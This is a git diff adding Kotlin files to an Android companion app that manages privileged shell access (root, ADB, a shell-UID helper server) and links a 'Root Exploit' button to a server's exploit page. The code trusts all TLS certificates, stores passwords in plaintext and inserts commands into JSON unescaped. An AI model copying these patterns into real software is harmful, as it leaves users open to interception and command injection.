||||
|
||||
btnShowCommand.setOnClickListener {
|
||||
val cmd = ArchonClient.getBootstrapCommand(requireContext())
|
||||
appendLog("ADB command to start Archon Server:")
|
||||
appendLog("adb shell \"$cmd\"")
|
||||
|
||||
// Copy to clipboard
|
||||
val clipboard = requireContext().getSystemService(Context.CLIPBOARD_SERVICE) as ClipboardManager
|
||||
clipboard.setPrimaryClip(ClipData.newPlainText("Archon Bootstrap", "adb shell \"$cmd\""))
|
||||
Toast.makeText(requireContext(), "Command copied to clipboard", Toast.LENGTH_SHORT).show()
|
||||
}
|
||||
|
||||
// ── USB via AUTARCH ──
|
||||
btnBootstrapUsb.setOnClickListener {
|
||||
val serverIp = PrefsManager.getServerIp(requireContext())
|
||||
val serverPort = PrefsManager.getWebPort(requireContext())
|
||||
|
||||
if (serverIp.isEmpty()) {
|
||||
appendLog("Server not configured — set IP in Settings tab or use SCAN on Dashboard")
|
||||
return@setOnClickListener
|
||||
}
|
||||
|
||||
btnBootstrapUsb.isEnabled = false
|
||||
appendLog("Bootstrapping via AUTARCH USB ADB ($serverIp:$serverPort)...")
|
||||
|
||||
Thread {
|
||||
val result = ArchonClient.startServer(requireContext())
|
||||
handler.post {
|
||||
btnBootstrapUsb.isEnabled = true
|
||||
appendLog(result.message)
|
||||
if (result.success) {
|
||||
updateArchonServerStatus()
|
||||
PrivilegeManager.refreshMethod()
|
||||
updatePrivilegeStatus()
|
||||
}
|
||||
}
|
||||
}.start()
|
||||
}
|
||||
|
||||
// ── Root ──
|
||||
btnCheckRoot.setOnClickListener {
|
||||
appendLog("Checking root access...")
|
||||
Thread {
|
||||
val hasRoot = ShellExecutor.isRootAvailable()
|
||||
handler.post {
|
||||
rootStatus.text = if (hasRoot) "Status: rooted" else "Status: not rooted"
|
||||
appendLog(if (hasRoot) "Root access available" else "Device is not rooted")
|
||||
if (hasRoot) {
|
||||
PrivilegeManager.refreshMethod()
|
||||
updatePrivilegeStatus()
|
||||
}
|
||||
}
|
||||
}.start()
|
||||
}
|
||||
|
||||
btnRootExploit.setOnClickListener {
|
||||
val serverIp = PrefsManager.getServerIp(requireContext())
|
||||
val serverPort = PrefsManager.getWebPort(requireContext())
|
||||
if (serverIp.isEmpty()) {
|
||||
appendLog("Server not configured — set IP in Settings tab")
|
||||
return@setOnClickListener
|
||||
}
|
||||
val url = "https://$serverIp:$serverPort/android-exploit"
|
||||
try {
|
||||
startActivity(Intent(Intent.ACTION_VIEW, Uri.parse(url)))
|
||||
appendLog("Opened exploit page in browser")
|
||||
} catch (e: Exception) {
|
||||
appendLog("Could not open browser: ${e.message}")
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private fun startPairingNotification() {
|
||||
appendLog("Showing pairing notification...")
|
||||
appendLog("Now open Developer Options > Wireless Debugging > Pair with code")
|
||||
appendLog("Enter the 6-digit code in the notification")
|
||||
PairingReceiver.showPairingNotification(requireContext())
|
||||
localAdbStatus.text = "Status: waiting for pairing code in notification..."
|
||||
}
|
||||
|
||||
private fun initializeStatus() {
|
||||
appendLog("Checking available privilege methods...")
|
||||
|
||||
val ctx = requireContext()
|
||||
PrivilegeManager.init(
|
||||
ctx,
|
||||
PrefsManager.getServerIp(ctx),
|
||||
PrefsManager.getWebPort(ctx)
|
||||
)
|
||||
|
||||
Thread {
|
||||
val hasRoot = ShellExecutor.isRootAvailable()
|
||||
val method = PrivilegeManager.refreshMethod()
|
||||
|
||||
handler.post {
|
||||
rootStatus.text = if (hasRoot) "Status: rooted" else "Status: not rooted"
|
||||
localAdbStatus.text = "Status: ${LocalAdbClient.getStatusString(requireContext())}"
|
||||
|
||||
val serverIp = PrefsManager.getServerIp(ctx)
|
||||
serverAdbStatus.text = if (serverIp.isNotEmpty()) {
|
||||
"Server: $serverIp:${PrefsManager.getWebPort(ctx)}"
|
||||
} else {
|
||||
"Server: not configured — set IP in Settings or SCAN on Dashboard"
|
||||
}
|
||||
|
||||
updateArchonServerStatus()
|
||||
updatePrivilegeStatus()
|
||||
appendLog("Best method: ${method.label}")
|
||||
}
|
||||
}.start()
|
||||
}
|
||||
|
||||
private fun updatePrivilegeStatus() {
|
||||
val method = PrivilegeManager.getAvailableMethod()
|
||||
val isReady = method != PrivilegeManager.Method.NONE
|
||||
|
||||
setStatusDot(privilegeStatusDot, isReady)
|
||||
privilegeStatusText.text = "Privilege: ${method.label}"
|
||||
}
|
||||
|
||||
private fun updateArchonServerStatus() {
|
||||
Thread {
|
||||
val running = ArchonClient.isServerRunning(requireContext())
|
||||
val info = if (running) ArchonClient.getServerInfo(requireContext()) else null
|
||||
|
||||
handler.post {
|
||||
setStatusDot(archonServerStatusDot, running)
|
||||
archonServerStatus.text = if (running) {
|
||||
"Status: Running ($info)"
|
||||
} else {
|
||||
"Status: Not running"
|
||||
}
|
||||
btnStopArchonServer.isEnabled = running
|
||||
}
|
||||
}.start()
|
||||
}
|
||||
|
||||
private fun setStatusDot(dot: View, online: Boolean) {
|
||||
val drawable = GradientDrawable()
|
||||
drawable.shape = GradientDrawable.OVAL
|
||||
drawable.setColor(if (online) Color.parseColor("#00FF41") else Color.parseColor("#666666"))
|
||||
dot.background = drawable
|
||||
}
|
||||
|
||||
private fun appendLog(msg: String) {
|
||||
val current = outputLog.text.toString()
|
||||
val lines = current.split("\n").takeLast(25)
|
||||
outputLog.text = (lines + "> $msg").joinToString("\n")
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,209 @@
|
||||
package com.darkhal.archon.util
|
||||
|
||||
import android.content.Context
|
||||
import android.util.Log
|
||||
import java.net.CookieManager
|
||||
import java.net.CookiePolicy
|
||||
import java.net.HttpURLConnection
|
||||
import java.net.URL
|
||||
|
||||
/**
|
||||
* Manages authentication with the AUTARCH web server.
|
||||
*
|
||||
* Handles login via JSON API, cookie storage, and attaching
|
||||
* the session cookie to all outbound HTTP requests.
|
||||
*/
|
||||
object AuthManager {
|
||||
|
||||
private const val TAG = "AuthManager"
|
||||
private const val PREFS_NAME = "archon_auth"
|
||||
private const val KEY_USERNAME = "username"
|
||||
private const val KEY_PASSWORD = "password"
|
||||
private const val KEY_SESSION_COOKIE = "session_cookie"
|
||||
private const val KEY_LOGGED_IN = "logged_in"
|
||||
|
||||
@Volatile
|
||||
private var sessionCookie: String? = null
|
||||
|
||||
/**
|
||||
* Log in to the AUTARCH web server.
|
||||
* Returns true on success. Stores the session cookie.
|
||||
*/
|
||||
fun login(context: Context, username: String, password: String): LoginResult {
|
||||
val baseUrl = PrefsManager.getAutarchBaseUrl(context)
|
||||
if (baseUrl.contains("://:" ) || baseUrl.endsWith("://")) {
|
||||
return LoginResult(false, "No server IP configured")
|
||||
}
|
||||
|
||||
return try {
|
||||
val url = URL("$baseUrl/api/login")
|
||||
val conn = url.openConnection() as HttpURLConnection
|
||||
SslHelper.trustSelfSigned(conn)
|
||||
conn.connectTimeout = 5000
|
||||
conn.readTimeout = 10000
|
||||
conn.requestMethod = "POST"
|
||||
conn.setRequestProperty("Content-Type", "application/json")
|
||||
conn.doOutput = true
|
||||
|
||||
val payload = """{"username":"${escapeJson(username)}","password":"${escapeJson(password)}"}"""
|
||||
conn.outputStream.write(payload.toByteArray())
|
||||
|
||||
val code = conn.responseCode
|
||||
val body = if (code in 200..299) {
|
||||
conn.inputStream.bufferedReader().readText()
|
||||
} else {
|
||||
conn.errorStream?.bufferedReader()?.readText() ?: "HTTP $code"
|
||||
}
|
||||
|
||||
// Extract Set-Cookie header
|
||||
val cookie = conn.getHeaderField("Set-Cookie")
|
||||
conn.disconnect()
|
||||
|
||||
if (code == 200 && body.contains("\"ok\":true")) {
|
||||
// Store credentials and cookie
|
||||
sessionCookie = cookie
|
||||
val prefs = context.getSharedPreferences(PREFS_NAME, Context.MODE_PRIVATE)
|
||||
prefs.edit()
|
||||
.putString(KEY_USERNAME, username)
|
||||
.putString(KEY_PASSWORD, password)
|
||||
.putString(KEY_SESSION_COOKIE, cookie ?: "")
|
||||
.putBoolean(KEY_LOGGED_IN, true)
|
||||
.apply()
|
||||
|
||||
Log.i(TAG, "Login successful for $username")
|
||||
LoginResult(true, "Logged in as $username")
|
||||
} else {
|
||||
Log.w(TAG, "Login failed: HTTP $code - $body")
|
||||
LoginResult(false, "Invalid credentials")
|
||||
}
|
||||
} catch (e: Exception) {
|
||||
Log.e(TAG, "Login error", e)
|
||||
LoginResult(false, "Connection error: ${e.message}")
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Check if we have stored credentials and a valid session.
|
||||
*/
|
||||
fun isLoggedIn(context: Context): Boolean {
|
||||
val prefs = context.getSharedPreferences(PREFS_NAME, Context.MODE_PRIVATE)
|
||||
return prefs.getBoolean(KEY_LOGGED_IN, false) &&
|
||||
prefs.getString(KEY_USERNAME, null) != null
|
||||
}
|
||||
|
||||
/**
|
||||
* Get stored username.
|
||||
*/
|
||||
fun getUsername(context: Context): String {
|
||||
val prefs = context.getSharedPreferences(PREFS_NAME, Context.MODE_PRIVATE)
|
||||
return prefs.getString(KEY_USERNAME, "") ?: ""
|
||||
}
|
||||
|
||||
/**
|
||||
* Get stored password.
|
||||
*/
|
||||
fun getPassword(context: Context): String {
|
||||
val prefs = context.getSharedPreferences(PREFS_NAME, Context.MODE_PRIVATE)
|
||||
return prefs.getString(KEY_PASSWORD, "") ?: ""
|
||||
}
|
||||
|
||||
/**
|
||||
* Re-login using stored credentials (refreshes session cookie).
|
||||
*/
|
||||
fun refreshSession(context: Context): Boolean {
|
||||
val username = getUsername(context)
|
||||
val password = getPassword(context)
|
||||
if (username.isEmpty() || password.isEmpty()) return false
|
||||
return login(context, username, password).success
|
||||
}
|
||||
|
||||
/**
|
||||
* Attach the session cookie to an HttpURLConnection.
|
||||
* Call this before sending any request to the AUTARCH server.
|
||||
*/
|
||||
fun attachSession(context: Context, conn: HttpURLConnection) {
|
||||
val cookie = sessionCookie ?: run {
|
||||
val prefs = context.getSharedPreferences(PREFS_NAME, Context.MODE_PRIVATE)
|
||||
prefs.getString(KEY_SESSION_COOKIE, null)
|
||||
}
|
||||
if (cookie != null) {
|
||||
conn.setRequestProperty("Cookie", cookie)
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Make an authenticated POST request to the AUTARCH server.
|
||||
* Handles cookie attachment and auto-refreshes session on 401.
|
||||
*/
|
||||
fun authenticatedPost(context: Context, path: String, jsonPayload: String): HttpResult {
|
||||
val baseUrl = PrefsManager.getAutarchBaseUrl(context)
|
||||
return try {
|
||||
var result = doPost(context, "$baseUrl$path", jsonPayload)
|
||||
|
||||
// If 401, try refreshing session once
|
||||
if (result.code == 401 || result.code == 302) {
|
||||
Log.i(TAG, "Session expired, refreshing...")
|
||||
if (refreshSession(context)) {
|
||||
result = doPost(context, "$baseUrl$path", jsonPayload)
|
||||
}
|
||||
}
|
||||
|
||||
result
|
||||
} catch (e: Exception) {
|
||||
Log.e(TAG, "Authenticated POST failed", e)
|
||||
HttpResult(-1, "", "Connection error: ${e.message}")
|
||||
}
|
||||
}
|
||||
|
||||
private fun doPost(context: Context, urlStr: String, jsonPayload: String): HttpResult {
|
||||
val url = URL(urlStr)
|
||||
val conn = url.openConnection() as HttpURLConnection
|
||||
SslHelper.trustSelfSigned(conn)
|
||||
conn.connectTimeout = 5000
|
||||
conn.readTimeout = 15000
|
||||
conn.requestMethod = "POST"
|
||||
conn.setRequestProperty("Content-Type", "application/json")
|
||||
conn.instanceFollowRedirects = false
|
||||
conn.doOutput = true
|
||||
|
||||
attachSession(context, conn)
|
||||
|
||||
conn.outputStream.write(jsonPayload.toByteArray())
|
||||
|
||||
val code = conn.responseCode
|
||||
|
||||
// Capture new cookie if server rotates it
|
||||
val newCookie = conn.getHeaderField("Set-Cookie")
|
||||
if (newCookie != null) {
|
||||
sessionCookie = newCookie
|
||||
val prefs = context.getSharedPreferences(PREFS_NAME, Context.MODE_PRIVATE)
|
||||
prefs.edit().putString(KEY_SESSION_COOKIE, newCookie).apply()
|
||||
}
|
||||
|
||||
val body = if (code in 200..299) {
|
||||
conn.inputStream.bufferedReader().readText()
|
||||
} else {
|
||||
conn.errorStream?.bufferedReader()?.readText() ?: "HTTP $code"
|
||||
}
|
||||
conn.disconnect()
|
||||
|
||||
return HttpResult(code, body, "")
|
||||
}
|
||||
|
||||
/**
|
||||
* Logout — clear stored credentials and cookie.
|
||||
*/
|
||||
fun logout(context: Context) {
|
||||
sessionCookie = null
|
||||
val prefs = context.getSharedPreferences(PREFS_NAME, Context.MODE_PRIVATE)
|
||||
prefs.edit().clear().apply()
|
||||
Log.i(TAG, "Logged out")
|
||||
}
|
||||
|
||||
private fun escapeJson(s: String): String {
|
||||
return s.replace("\\", "\\\\").replace("\"", "\\\"").replace("\n", "\\n")
|
||||
}
|
||||
|
||||
data class LoginResult(val success: Boolean, val message: String)
|
||||
data class HttpResult(val code: Int, val body: String, val error: String)
|
||||
}
|
||||
@@ -0,0 +1,80 @@
|
||||
package com.darkhal.archon.util
|
||||
|
||||
import android.content.Context
|
||||
import android.content.SharedPreferences
|
||||
|
||||
object PrefsManager {
|
||||
|
||||
private const val PREFS_NAME = "archon_prefs"
|
||||
|
||||
private const val KEY_SERVER_IP = "server_ip"
|
||||
private const val KEY_WEB_PORT = "web_port"
|
||||
private const val KEY_ADB_PORT = "adb_port"
|
||||
private const val KEY_USBIP_PORT = "usbip_port"
|
||||
private const val KEY_AUTO_RESTART_ADB = "auto_restart_adb"
|
||||
private const val KEY_BBS_ADDRESS = "bbs_address"
|
||||
|
||||
private const val DEFAULT_SERVER_IP = ""
|
||||
private const val DEFAULT_WEB_PORT = 8181
|
||||
private const val DEFAULT_ADB_PORT = 5555
|
||||
private const val DEFAULT_USBIP_PORT = 3240
|
||||
private const val DEFAULT_BBS_ADDRESS = ""
|
||||
|
||||
private fun prefs(context: Context): SharedPreferences {
|
||||
return context.getSharedPreferences(PREFS_NAME, Context.MODE_PRIVATE)
|
||||
}
|
||||
|
||||
fun getServerIp(context: Context): String {
|
||||
return prefs(context).getString(KEY_SERVER_IP, DEFAULT_SERVER_IP) ?: DEFAULT_SERVER_IP
|
||||
}
|
||||
|
||||
fun setServerIp(context: Context, ip: String) {
|
||||
prefs(context).edit().putString(KEY_SERVER_IP, ip).apply()
|
||||
}
|
||||
|
||||
fun getWebPort(context: Context): Int {
|
||||
return prefs(context).getInt(KEY_WEB_PORT, DEFAULT_WEB_PORT)
|
||||
}
|
||||
|
||||
fun setWebPort(context: Context, port: Int) {
|
||||
prefs(context).edit().putInt(KEY_WEB_PORT, port).apply()
|
||||
}
|
||||
|
||||
fun getAdbPort(context: Context): Int {
|
||||
return prefs(context).getInt(KEY_ADB_PORT, DEFAULT_ADB_PORT)
|
||||
}
|
||||
|
||||
fun setAdbPort(context: Context, port: Int) {
|
||||
prefs(context).edit().putInt(KEY_ADB_PORT, port).apply()
|
||||
}
|
||||
|
||||
fun getUsbIpPort(context: Context): Int {
|
||||
return prefs(context).getInt(KEY_USBIP_PORT, DEFAULT_USBIP_PORT)
|
||||
}
|
||||
|
||||
fun setUsbIpPort(context: Context, port: Int) {
|
||||
prefs(context).edit().putInt(KEY_USBIP_PORT, port).apply()
|
||||
}
|
||||
|
||||
fun isAutoRestartAdb(context: Context): Boolean {
|
||||
return prefs(context).getBoolean(KEY_AUTO_RESTART_ADB, true)
|
||||
}
|
||||
|
||||
fun setAutoRestartAdb(context: Context, enabled: Boolean) {
|
||||
prefs(context).edit().putBoolean(KEY_AUTO_RESTART_ADB, enabled).apply()
|
||||
}
|
||||
|
||||
fun getBbsAddress(context: Context): String {
|
||||
return prefs(context).getString(KEY_BBS_ADDRESS, DEFAULT_BBS_ADDRESS) ?: DEFAULT_BBS_ADDRESS
|
||||
}
|
||||
|
||||
fun setBbsAddress(context: Context, address: String) {
|
||||
prefs(context).edit().putString(KEY_BBS_ADDRESS, address).apply()
|
||||
}
|
||||
|
||||
fun getAutarchBaseUrl(context: Context): String {
|
||||
val ip = getServerIp(context)
|
||||
val port = getWebPort(context)
|
||||
return "https://$ip:$port"
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,199 @@
|
||||
package com.darkhal.archon.util
|
||||
|
||||
import android.content.Context
|
||||
import android.util.Log
|
||||
import com.darkhal.archon.server.ArchonClient
|
||||
import com.darkhal.archon.service.LocalAdbClient
|
||||
import java.net.HttpURLConnection
|
||||
import java.net.URL
|
||||
|
||||
/**
|
||||
* Central privilege escalation chain manager.
|
||||
* Tries methods in order: ROOT → ARCHON_SERVER → LOCAL_ADB → SERVER_ADB → NONE
|
||||
*
|
||||
* ARCHON_SERVER is our own privileged process running at UID 2000 (shell level),
|
||||
* started via app_process through an ADB connection. It replaces Shizuku entirely.
|
||||
*/
|
||||
object PrivilegeManager {
|
||||
|
||||
private const val TAG = "PrivilegeManager"
|
||||
|
||||
enum class Method(val label: String) {
|
||||
ROOT("Root (su)"),
|
||||
ARCHON_SERVER("Archon Server"),
|
||||
LOCAL_ADB("Wireless ADB"),
|
||||
SERVER_ADB("Server ADB"),
|
||||
NONE("No privileges")
|
||||
}
|
||||
|
||||
private var cachedMethod: Method? = null
|
||||
private var serverIp: String = ""
|
||||
private var serverPort: Int = 8181
|
||||
private var appContext: Context? = null
|
||||
|
||||
/**
|
||||
* Initialize with app context and server connection info.
|
||||
*/
|
||||
fun init(context: Context, serverIp: String = "", serverPort: Int = 8181) {
|
||||
appContext = context.applicationContext
|
||||
this.serverIp = serverIp
|
||||
this.serverPort = serverPort
|
||||
cachedMethod = null
|
||||
}
|
||||
|
||||
/**
|
||||
* Update the AUTARCH server connection info.
|
||||
*/
|
||||
fun setServerConnection(ip: String, port: Int) {
|
||||
serverIp = ip
|
||||
serverPort = port
|
||||
if (cachedMethod == Method.SERVER_ADB || cachedMethod == Method.NONE) {
|
||||
cachedMethod = null
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Determine the best available privilege method.
|
||||
*/
|
||||
fun getAvailableMethod(): Method {
|
||||
cachedMethod?.let { return it }
|
||||
|
||||
val method = when {
|
||||
checkRoot() -> Method.ROOT
|
||||
checkArchonServer() -> Method.ARCHON_SERVER
|
||||
checkLocalAdb() -> Method.LOCAL_ADB
|
||||
checkServerAdb() -> Method.SERVER_ADB
|
||||
else -> Method.NONE
|
||||
}
|
||||
|
||||
cachedMethod = method
|
||||
Log.i(TAG, "Available method: ${method.name}")
|
||||
return method
|
||||
}
|
||||
|
||||
/**
|
||||
* Force a re-check of available methods.
|
||||
*/
|
||||
fun refreshMethod(): Method {
|
||||
cachedMethod = null
|
||||
return getAvailableMethod()
|
||||
}
|
||||
|
||||
fun isReady(): Boolean = getAvailableMethod() != Method.NONE
|
||||
|
||||
/**
|
||||
* Execute a command via the best available method.
|
||||
*/
|
||||
fun execute(command: String): ShellResult {
|
||||
return when (getAvailableMethod()) {
|
||||
Method.ROOT -> executeViaRoot(command)
|
||||
Method.ARCHON_SERVER -> executeViaArchonServer(command)
|
||||
Method.LOCAL_ADB -> executeViaLocalAdb(command)
|
||||
Method.SERVER_ADB -> executeViaServer(command)
|
||||
Method.NONE -> ShellResult("", "No privilege method available — run Setup first", -1)
|
||||
}
|
||||
}
|
||||
|
||||
fun getStatusDescription(): String {
|
||||
return when (getAvailableMethod()) {
|
||||
Method.ROOT -> "Connected via root shell"
|
||||
Method.ARCHON_SERVER -> "Connected via Archon Server (UID 2000)"
|
||||
Method.LOCAL_ADB -> "Connected via Wireless ADB"
|
||||
Method.SERVER_ADB -> "Connected via AUTARCH server ($serverIp)"
|
||||
Method.NONE -> "No privilege access — run Setup"
|
||||
}
|
||||
}
|
||||
|
||||
// ── Method checks ─────────────────────────────────────────────
|
||||
|
||||
private fun checkRoot(): Boolean {
|
||||
return ShellExecutor.isRootAvailable()
|
||||
}
|
||||
|
||||
private fun checkArchonServer(): Boolean {
|
||||
val ctx = appContext ?: return false
|
||||
return ArchonClient.isServerRunning(ctx)
|
||||
}
|
||||
|
||||
private fun checkLocalAdb(): Boolean {
|
||||
return LocalAdbClient.isConnected()
|
||||
}
|
||||
|
||||
private fun checkServerAdb(): Boolean {
|
||||
if (serverIp.isEmpty()) return false
|
||||
return try {
|
||||
val url = URL("https://$serverIp:$serverPort/hardware/status")
|
||||
val conn = url.openConnection() as HttpURLConnection
|
||||
SslHelper.trustSelfSigned(conn)
|
||||
conn.connectTimeout = 3000
|
||||
conn.readTimeout = 3000
|
||||
conn.requestMethod = "GET"
|
||||
val code = conn.responseCode
|
||||
conn.disconnect()
|
||||
code in 200..399
|
||||
} catch (e: Exception) {
|
||||
false
|
||||
}
|
||||
}
|
||||
|
||||
// ── Execution backends ────────────────────────────────────────
|
||||
|
||||
private fun executeViaRoot(command: String): ShellResult {
|
||||
return ShellExecutor.executeAsRoot(command)
|
||||
}
|
||||
|
||||
private fun executeViaArchonServer(command: String): ShellResult {
|
||||
val ctx = appContext ?: return ShellResult("", "No app context", -1)
|
||||
return ArchonClient.execute(ctx, command)
|
||||
}
|
||||
|
||||
private fun executeViaLocalAdb(command: String): ShellResult {
|
||||
return LocalAdbClient.execute(command)
|
||||
}
|
||||
|
||||
private fun executeViaServer(command: String): ShellResult {
|
||||
if (serverIp.isEmpty()) {
|
||||
return ShellResult("", "Server not configured", -1)
|
||||
}
|
||||
|
||||
return try {
|
||||
val url = URL("https://$serverIp:$serverPort/hardware/adb/shell")
|
||||
val conn = url.openConnection() as HttpURLConnection
|
||||
SslHelper.trustSelfSigned(conn)
|
||||
conn.connectTimeout = 5000
|
||||
conn.readTimeout = 15000
|
||||
conn.requestMethod = "POST"
|
||||
conn.setRequestProperty("Content-Type", "application/json")
|
||||
conn.doOutput = true
|
||||
|
||||
val payload = """{"serial":"any","command":"$command"}"""
|
||||
conn.outputStream.write(payload.toByteArray())
|
||||
|
||||
val responseCode = conn.responseCode
|
||||
val response = if (responseCode in 200..299) {
|
||||
conn.inputStream.bufferedReader().readText()
|
||||
} else {
|
||||
conn.errorStream?.bufferedReader()?.readText() ?: "HTTP $responseCode"
|
||||
}
|
||||
conn.disconnect()
|
||||
|
||||
if (responseCode in 200..299) {
|
||||
val stdout = extractJsonField(response, "stdout") ?: response
|
||||
val stderr = extractJsonField(response, "stderr") ?: ""
|
||||
val exitCode = extractJsonField(response, "exit_code")?.toIntOrNull() ?: 0
|
||||
ShellResult(stdout, stderr, exitCode)
|
||||
} else {
|
||||
ShellResult("", "Server HTTP $responseCode: $response", -1)
|
||||
}
|
||||
} catch (e: Exception) {
|
||||
Log.e(TAG, "Server execute failed", e)
|
||||
ShellResult("", "Server error: ${e.message}", -1)
|
||||
}
|
||||
}
|
||||
|
||||
private fun extractJsonField(json: String, field: String): String? {
|
||||
val pattern = """"$field"\s*:\s*"([^"]*?)"""".toRegex()
|
||||
val match = pattern.find(json)
|
||||
return match?.groupValues?.get(1)
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,59 @@
|
||||
package com.darkhal.archon.util
|
||||
|
||||
import java.io.BufferedReader
|
||||
import java.io.InputStreamReader
|
||||
import java.util.concurrent.TimeUnit
|
||||
|
||||
data class ShellResult(
|
||||
val stdout: String,
|
||||
val stderr: String,
|
||||
val exitCode: Int
|
||||
)
|
||||
|
||||
object ShellExecutor {
|
||||
|
||||
private const val DEFAULT_TIMEOUT_SEC = 10L
|
||||
|
||||
fun execute(command: String, timeoutSec: Long = DEFAULT_TIMEOUT_SEC): ShellResult {
|
||||
return try {
|
||||
val process = Runtime.getRuntime().exec(arrayOf("sh", "-c", command))
|
||||
val completed = process.waitFor(timeoutSec, TimeUnit.SECONDS)
|
||||
|
||||
if (!completed) {
|
||||
process.destroyForcibly()
|
||||
return ShellResult("", "Command timed out after ${timeoutSec}s", -1)
|
||||
}
|
||||
|
||||
val stdout = BufferedReader(InputStreamReader(process.inputStream)).readText().trim()
|
||||
val stderr = BufferedReader(InputStreamReader(process.errorStream)).readText().trim()
|
||||
|
||||
ShellResult(stdout, stderr, process.exitValue())
|
||||
} catch (e: Exception) {
|
||||
ShellResult("", "Error: ${e.message}", -1)
|
||||
}
|
||||
}
|
||||
|
||||
fun executeAsRoot(command: String, timeoutSec: Long = DEFAULT_TIMEOUT_SEC): ShellResult {
|
||||
return try {
|
||||
val process = Runtime.getRuntime().exec(arrayOf("su", "-c", command))
|
||||
val completed = process.waitFor(timeoutSec, TimeUnit.SECONDS)
|
||||
|
||||
if (!completed) {
|
||||
process.destroyForcibly()
|
||||
return ShellResult("", "Command timed out after ${timeoutSec}s", -1)
|
||||
}
|
||||
|
||||
val stdout = BufferedReader(InputStreamReader(process.inputStream)).readText().trim()
|
||||
val stderr = BufferedReader(InputStreamReader(process.errorStream)).readText().trim()
|
||||
|
||||
ShellResult(stdout, stderr, process.exitValue())
|
||||
} catch (e: Exception) {
|
||||
ShellResult("", "Root error: ${e.message}", -1)
|
||||
}
|
||||
}
|
||||
|
||||
fun isRootAvailable(): Boolean {
|
||||
val result = execute("which su")
|
||||
return result.exitCode == 0 && result.stdout.isNotEmpty()
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,49 @@
|
||||
package com.darkhal.archon.util
|
||||
|
||||
import java.net.HttpURLConnection
|
||||
import java.security.SecureRandom
|
||||
import java.security.cert.X509Certificate
|
||||
import javax.net.ssl.HostnameVerifier
|
||||
import javax.net.ssl.HttpsURLConnection
|
||||
import javax.net.ssl.SSLContext
|
||||
import javax.net.ssl.TrustManager
|
||||
import javax.net.ssl.X509TrustManager
|
||||
|
||||
/**
|
||||
* SSL helper for connecting to AUTARCH's self-signed HTTPS server.
|
||||
*
|
||||
* Since AUTARCH generates a self-signed cert at first launch,
|
||||
* Android's default trust store will reject it. This helper
|
||||
* creates a permissive SSLContext for LAN-only connections to
|
||||
* the known AUTARCH server.
|
||||
*/
|
||||
object SslHelper {
|
||||
|
||||
private val trustAllManager = object : X509TrustManager {
|
||||
override fun checkClientTrusted(chain: Array<X509Certificate>, authType: String) {}
|
||||
override fun checkServerTrusted(chain: Array<X509Certificate>, authType: String) {}
|
||||
override fun getAcceptedIssuers(): Array<X509Certificate> = arrayOf()
|
||||
}
|
||||
|
||||
private val trustAllHostname = HostnameVerifier { _, _ -> true }
|
||||
|
||||
private val sslContext: SSLContext by lazy {
|
||||
SSLContext.getInstance("TLS").apply {
|
||||
init(null, arrayOf<TrustManager>(trustAllManager), SecureRandom())
|
||||
}
|
||||
}
|
||||
|
||||
val socketFactory get() = sslContext.socketFactory
|
||||
|
||||
/**
|
||||
* Apply self-signed cert trust to a connection.
|
||||
* If the connection is HTTPS, sets the permissive SSLSocketFactory
|
||||
* and hostname verifier. Plain HTTP connections are left unchanged.
|
||||
*/
|
||||
fun trustSelfSigned(conn: HttpURLConnection) {
|
||||
if (conn is HttpsURLConnection) {
|
||||
conn.sslSocketFactory = socketFactory
|
||||
conn.hostnameVerifier = trustAllHostname
|
||||
}
|
||||
}
|
||||
}
|
||||
40
autarch_companion/app/src/main/res/drawable/ic_archon.xml
Normal file
40
autarch_companion/app/src/main/res/drawable/ic_archon.xml
Normal file
@@ -0,0 +1,40 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<vector
|
||||
xmlns:android="http://schemas.android.com/apk/res/android"
|
||||
android:width="108dp"
|
||||
android:height="108dp"
|
||||
android:viewportWidth="108"
|
||||
android:viewportHeight="108">
|
||||
|
||||
<!-- Background circle -->
|
||||
<path
|
||||
android:fillColor="#0D0D0D"
|
||||
android:pathData="M54,54m-50,0a50,50 0,1 1,100 0a50,50 0,1 1,-100 0" />
|
||||
|
||||
<!-- Stylized "A" / Greek column -->
|
||||
<!-- Left pillar -->
|
||||
<path
|
||||
android:fillColor="#00FF41"
|
||||
android:pathData="M34,80 L38,80 L42,30 L38,28 Z" />
|
||||
|
||||
<!-- Right pillar -->
|
||||
<path
|
||||
android:fillColor="#00FF41"
|
||||
android:pathData="M70,80 L74,80 L70,28 L66,30 Z" />
|
||||
|
||||
<!-- Top triangle / pediment -->
|
||||
<path
|
||||
android:fillColor="#00FF41"
|
||||
android:pathData="M54,18 L38,28 L70,28 Z" />
|
||||
|
||||
<!-- Crossbar -->
|
||||
<path
|
||||
android:fillColor="#00FF41"
|
||||
android:pathData="M40,52 L68,52 L67,48 L41,48 Z" />
|
||||
|
||||
<!-- Base -->
|
||||
<path
|
||||
android:fillColor="#00FF41"
|
||||
android:pathData="M30,80 L78,80 L78,84 L30,84 Z" />
|
||||
|
||||
</vector>
|
||||
12
autarch_companion/app/src/main/res/drawable/ic_setup.xml
Normal file
12
autarch_companion/app/src/main/res/drawable/ic_setup.xml
Normal file
@@ -0,0 +1,12 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<vector xmlns:android="http://schemas.android.com/apk/res/android"
|
||||
android:width="24dp"
|
||||
android:height="24dp"
|
||||
android:viewportWidth="24"
|
||||
android:viewportHeight="24"
|
||||
android:tint="#00FF41">
|
||||
<!-- Wrench/build icon -->
|
||||
<path
|
||||
android:fillColor="@android:color/white"
|
||||
android:pathData="M22.7,19l-9.1,-9.1c0.9,-2.3 0.4,-5 -1.5,-6.9 -2,-2 -5,-2.4 -7.4,-1.3L9,6 6,9 1.6,4.7C0.4,7.1 0.9,10.1 2.9,12.1c1.9,1.9 4.6,2.4 6.9,1.5l9.1,9.1c0.4,0.4 1,0.4 1.4,0l2.3,-2.3c0.5,-0.4 0.5,-1.1 0.1,-1.4z" />
|
||||
</vector>
|
||||
173
autarch_companion/app/src/main/res/layout/activity_login.xml
Normal file
173
autarch_companion/app/src/main/res/layout/activity_login.xml
Normal file
@@ -0,0 +1,173 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<androidx.constraintlayout.widget.ConstraintLayout
|
||||
